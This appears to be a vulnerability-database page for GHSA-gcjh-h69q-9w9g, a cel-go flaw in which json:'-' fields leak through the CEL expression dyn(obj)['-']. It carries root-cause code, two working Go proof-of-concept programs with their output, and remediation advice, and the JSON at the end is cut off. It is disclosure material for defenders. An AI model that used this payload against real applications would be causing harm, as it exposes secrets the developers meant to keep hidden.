Vulnerability-Lookup

(GHSA-GCJH-H69Q-9W9G)

Vulnerability from cleanstart – Published: 2026-10-30 13:26 – Updated: 2026-08-27 12:42 – Source website

Summary

Security fix for GHSA-gcjh-h69q-9w9g applied in: cert-manager 1.18.6-r4, kube-state-metrics 2.20.0-r0, kyverno 1.18.2-r1, rabbitmq-cluster-operator 2.20.1-r5, rabbitmq-cluster-operator 2.21.1-r2, kedacore-http-add-on 0.15.0-r0, kubernetes-csi-external-resizer 2.0.0-r2, kedacore-http-add-on 0.13.0-r0, kyverno 1.17.2-r2, yunikorn-k8shim 1.8.0-r1, rabbitmq-messaging-topology-operator 1.19.3-r2, tekton-chains 0.29.7-r1, kube-state-metrics 2.18.0-r7, kube-state-metrics 2.19.1-r1, external-secrets-operator-fips 2.7.0-r1, eks-distro-kube-scheduler 1.36.9-r1, kube-rbac-proxy-fips 0.22.0-r1, cluster-autoscaler 1.35.2-r1, cluster-autoscaler 1.36.1-r1, cluster-autoscaler 1.36.1-r6, cluster-autoscaler 1.36.1-r7, kubernetes 1.33.13-r0, openbao 2.6.3-r1, helm-operator 1.39.2-r1, helm-operator 1.42.3-r2, helm-operator 1.40.0-r1, calico 3.30.7-r6, fluent-operator 3.10.0-r0, metallb 0.16.0-r2, calico 3.32.1-r1, kube-state-metrics 2.16.0-r9, grafana-org-operator 1.13.0-r0

Details

GHSA-gcjh-h69q-9w9g affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.

Severity

6.3 (Medium)


                    
                      CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/GHSA-gcjh-h69q-9w9g	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "cert-manager",
        "purl": "pkg:apk/cleanstart/cert-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.6-r4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kube-state-metrics",
        "purl": "pkg:apk/cleanstart/kube-state-metrics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.20.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kyverno",
        "purl": "pkg:apk/cleanstart/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.2-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "rabbitmq-cluster-operator",
        "purl": "pkg:apk/cleanstart/rabbitmq-cluster-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.20.1-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "rabbitmq-cluster-operator",
        "purl": "pkg:apk/cleanstart/rabbitmq-cluster-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.1-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kedacore-http-add-on",
        "purl": "pkg:apk/cleanstart/kedacore-http-add-on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kubernetes-csi-external-resizer",
        "purl": "pkg:apk/cleanstart/kubernetes-csi-external-resizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kedacore-http-add-on",
        "purl": "pkg:apk/cleanstart/kedacore-http-add-on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kyverno",
        "purl": "pkg:apk/cleanstart/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.2-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "yunikorn-k8shim",
        "purl": "pkg:apk/cleanstart/yunikorn-k8shim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "rabbitmq-messaging-topology-operator",
        "purl": "pkg:apk/cleanstart/rabbitmq-messaging-topology-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.3-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tekton-chains",
        "purl": "pkg:apk/cleanstart/tekton-chains"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.29.7-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kube-state-metrics",
        "purl": "pkg:apk/cleanstart/kube-state-metrics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.18.0-r7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kube-state-metrics",
        "purl": "pkg:apk/cleanstart/kube-state-metrics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.1-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "external-secrets-operator-fips",
        "purl": "pkg:apk/cleanstart/external-secrets-operator-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.0-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "eks-distro-kube-scheduler",
        "purl": "pkg:apk/cleanstart/eks-distro-kube-scheduler?arch=x86_64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.36.9-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "eks-distro-kube-scheduler",
        "purl": "pkg:apk/cleanstart/eks-distro-kube-scheduler?arch=aarch64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.36.9-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kube-rbac-proxy-fips",
        "purl": "pkg:apk/cleanstart/kube-rbac-proxy-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "cluster-autoscaler",
        "purl": "pkg:apk/cleanstart/cluster-autoscaler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.35.2-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "cluster-autoscaler",
        "purl": "pkg:apk/cleanstart/cluster-autoscaler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.36.1-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "cluster-autoscaler",
        "purl": "pkg:apk/cleanstart/cluster-autoscaler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.36.1-r6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "cluster-autoscaler",
        "purl": "pkg:apk/cleanstart/cluster-autoscaler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.36.1-r7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kubernetes",
        "purl": "pkg:apk/cleanstart/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.33.13-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "openbao",
        "purl": "pkg:apk/cleanstart/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.3-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "helm-operator",
        "purl": "pkg:apk/cleanstart/helm-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.39.2-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "helm-operator",
        "purl": "pkg:apk/cleanstart/helm-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.42.3-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "helm-operator",
        "purl": "pkg:apk/cleanstart/helm-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.40.0-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "calico",
        "purl": "pkg:apk/cleanstart/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.30.7-r6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "fluent-operator",
        "purl": "pkg:apk/cleanstart/fluent-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "metallb",
        "purl": "pkg:apk/cleanstart/metallb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.16.0-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "calico",
        "purl": "pkg:apk/cleanstart/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.32.1-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "kube-state-metrics",
        "purl": "pkg:apk/cleanstart/kube-state-metrics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.0-r9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "grafana-org-operator",
        "purl": "pkg:apk/cleanstart/grafana-org-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "GHSA-gcjh-h69q-9w9g affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-VG29890",
  "modified": "2026-08-27T12:42:18Z",
  "published": "2026-10-30T13:26:30.185536Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-VG29890.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-gcjh-h69q-9w9g"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Security fix for GHSA-gcjh-h69q-9w9g applied in: cert-manager 1.18.6-r4, kube-state-metrics 2.20.0-r0, kyverno 1.18.2-r1, rabbitmq-cluster-operator 2.20.1-r5, rabbitmq-cluster-operator 2.21.1-r2, kedacore-http-add-on 0.15.0-r0, kubernetes-csi-external-resizer 2.0.0-r2, kedacore-http-add-on 0.13.0-r0, kyverno 1.17.2-r2, yunikorn-k8shim 1.8.0-r1, rabbitmq-messaging-topology-operator 1.19.3-r2, tekton-chains 0.29.7-r1, kube-state-metrics 2.18.0-r7, kube-state-metrics 2.19.1-r1, external-secrets-operator-fips 2.7.0-r1, eks-distro-kube-scheduler 1.36.9-r1, kube-rbac-proxy-fips 0.22.0-r1, cluster-autoscaler 1.35.2-r1, cluster-autoscaler 1.36.1-r1, cluster-autoscaler 1.36.1-r6, cluster-autoscaler 1.36.1-r7, kubernetes 1.33.13-r0, openbao 2.6.3-r1, helm-operator 1.39.2-r1, helm-operator 1.42.3-r2, helm-operator 1.40.0-r1, calico 3.30.7-r6, fluent-operator 3.10.0-r0, metallb 0.16.0-r2, calico 3.32.1-r1, kube-state-metrics 2.16.0-r9, grafana-org-operator 1.13.0-r0",
  "upstream": [
    "GHSA-gcjh-h69q-9w9g"
  ]
}

GHSA-GCJH-H69Q-9W9G

Vulnerability from github – Published: 2026-07-24 16:48 – Updated: 2026-07-24 16:48

Summary

cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

Details

The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].

Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.

Root cause

In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.

See at ext/native.go:146:

func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
    return func(field reflect.StructField) string {
        tag, found := field.Tag.Lookup(structTagToParse)
        if found {
            splits := strings.Split(tag, ",")
            if len(splits) > 0 {
                // We make the assumption that the leftmost entry in the tag is the name.
                // This seems to be true for most tags that have the concept of a name/key, such as:
                // https://pkg.go.dev/encoding/xml#Marshal
                // https://pkg.go.dev/encoding/json#Marshal
                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
                name := splits[0]
                return name
            }
        }

        return field.Name
    }
}

For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.

This contradicts the encoding/json rule that the source comment explicitly points readers to:

As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".

The public option also documents JSON-style parsing as the intended behavior. See at ext/native.go:190:

// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
    return func(ntp *nativeTypeOptions) error {
        ntp.fieldNameHandler = fieldNameByTag(tag)
        return nil
    }
}

A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.

The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.

See at ext/native.go:663:

if fieldNameHandler != nil {
    fieldNames := make(map[string]struct{})

    for idx := 0; idx < refType.NumField(); idx++ {
        field := refType.Field(idx)
        fieldName := toFieldName(fieldNameHandler, field)

        if _, found := fieldNames[fieldName]; found {
            return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
        } else {
            fieldNames[fieldName] = struct{}{}
        }
    }
}

Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.

See at ext/native.go:286:

func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
    if t, found := tp.nativeTypes[typeName]; found {
        fieldCount := t.refType.NumField()
        fields := make([]string, fieldCount)
        for i := 0; i < fieldCount; i++ {
            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
        }
        return fields, true
    }
    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
        return celTypeFields, true
    }
    return tp.baseProvider.FindStructFieldNames(typeName)
}

Field lookup also treats the name as valid and returns the underlying Go field value.

See at ext/native.go:303:

func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
    t, found := tp.nativeTypes[typeName]
    if !found {
        return tp.baseProvider.FindStructFieldType(typeName, fieldName)
    }
    refField, isDefined := t.hasField(fieldName)
    if !found || !isDefined {
        return nil, false
    }

    return &types.FieldType{
        IsSet: func(obj any) bool {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return !refField.IsZero()
        },
        GetFrom: func(obj any) (any, error) {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return getFieldValue(refField), nil
        },
    }, true
}

At runtime, native objects advertise index access. See at ext/native.go:37:

var (
    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)

Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:

dyn(req.auth)["-"]

The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.

See at ext/native.go:501:

case jsonStructType:
    refVal := reflect.Indirect(o.refValue)
    refType := refVal.Type()
    fields := make(map[string]*structpb.Value, refVal.NumField())
    for i := 0; i < refVal.NumField(); i++ {
        fieldType := refType.Field(i)
        fieldValue := refVal.Field(i)
        if !fieldValue.IsValid() || fieldValue.IsZero() {
            continue
        }
        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
        fieldCELVal := o.NativeToValue(fieldValue.Interface())
        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
        if err != nil {
            return nil, err
        }
        fields[fieldName] = fieldJSONVal.(*structpb.Value)
    }
    return &structpb.Struct{Fields: fields}, nil

This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.

The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.

See at ext/native.go:609:

func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
    nt, err := newNativeType(fieldNameHandler, rawType)
    if err != nil {
        return nil, err
    }
    result := []*nativeType{nt}

    var iterateStructMembers func(reflect.Type)
    iterateStructMembers = func(t reflect.Type) {
        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
            iterateStructMembers(t.Elem())
            return
        }
        if t.Kind() != reflect.Struct {
            return
        }

        nt, ntErr := newNativeType(fieldNameHandler, t)
        if ntErr != nil {
            err = ntErr
            return
        }
        result = append(result, nt)

        for idx := 0; idx < t.NumField(); idx++ {
            iterateStructMembers(t.Field(idx).Type)
        }
    }
    iterateStructMembers(rawType)

    return result, err
}

As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.

Reproduction

package main

import (
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"
)

// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // server-internal; never appears in JSON output
}

// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.
        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.Req")),
    )
    ast, _ := env.Compile(`dyn(req.auth)["-"]`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })
    fmt.Println(out) // sk-live-s3cr3t
}

Expected: expression compile error or empty result; json:"-" field should not be accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.

The same field is also included under key "-" in ConvertToNative(jsonStructType) output, and appears in FindStructFieldNames enumeration.

path 1. CEL indexing

Tested against the released module github.com/google/cel-go v0.28.1 (latest stable release as of 2026-05-12), using the go.mod entry:

require github.com/google/cel-go v0.28.1

Running the PoC above (go run main.go) produces:

sk-live-s3cr3t

The secret value is returned verbatim, with no error at compile time or at runtime.

Path 2. `ConvertToNative(jsonStructType)`

When the nativeObj for the AuthCtx value is converted to a Protobuf Struct (the representation used whenever CEL output is serialised to JSON), the json:"-" field appears in the output map under the key "-".

package main

import (
    "encoding/json"
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"

    structpb "google.golang.org/protobuf/types/known/structpb"
)

type AuthCtxConv struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // should never appear in JSON output
}

type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.ReqConv")),
    )

    ast, _ := env.Compile(`req.auth`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })

    jsonStructType := reflect.TypeOf(&structpb.Struct{})
    raw, _ := out.ConvertToNative(jsonStructType)

    st := raw.(*structpb.Struct)
    b, _ := json.MarshalIndent(st.AsMap(), "", "  ")
    fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
    fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
    if v, ok := st.Fields["-"]; ok {
        fmt.Printf("Value: %s\n", v.GetStringValue())
    }
}

Running the PoC above produces:

ConvertToNative(jsonStructType) output:
{
  "-": "sk-live-s3cr3t",
  "userId": "alice"
}

Direct field access via "-" key present: true
Value: sk-live-s3cr3t

The "-" key is present in the serialised Protobuf struct alongside userId. Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.

Impact

Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.

Remediation

Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.

Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.

Apply that skip decision consistently anywhere native fields are exposed or resolved:

duplicate-name validation in newNativeType
field enumeration in FindStructFieldNames
field type lookup in FindStructFieldType
runtime lookup in fieldByName / hasField
object construction in NewValue
JSON conversion in ConvertToNative(jsonStructType)

Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/google/cel-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-495"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:48:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n    return func(field reflect.StructField) string {\n        tag, found := field.Tag.Lookup(structTagToParse)\n        if found {\n            splits := strings.Split(tag, \",\")\n            if len(splits) \u003e 0 {\n                // We make the assumption that the leftmost entry in the tag is the name.\n                // This seems to be true for most tags that have the concept of a name/key, such as:\n                // https://pkg.go.dev/encoding/xml#Marshal\n                // https://pkg.go.dev/encoding/json#Marshal\n                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n                name := splits[0]\n                return name\n            }\n        }\n\n        return field.Name\n    }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n    return func(ntp *nativeTypeOptions) error {\n        ntp.fieldNameHandler = fieldNameByTag(tag)\n        return nil\n    }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n    fieldNames := make(map[string]struct{})\n\n    for idx := 0; idx \u003c refType.NumField(); idx++ {\n        field := refType.Field(idx)\n        fieldName := toFieldName(fieldNameHandler, field)\n\n        if _, found := fieldNames[fieldName]; found {\n            return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n        } else {\n            fieldNames[fieldName] = struct{}{}\n        }\n    }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n    if t, found := tp.nativeTypes[typeName]; found {\n        fieldCount := t.refType.NumField()\n        fields := make([]string, fieldCount)\n        for i := 0; i \u003c fieldCount; i++ {\n            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n        }\n        return fields, true\n    }\n    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n        return celTypeFields, true\n    }\n    return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n    t, found := tp.nativeTypes[typeName]\n    if !found {\n        return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n    }\n    refField, isDefined := t.hasField(fieldName)\n    if !found || !isDefined {\n        return nil, false\n    }\n\n    return \u0026types.FieldType{\n        IsSet: func(obj any) bool {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return !refField.IsZero()\n        },\n        GetFrom: func(obj any) (any, error) {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := 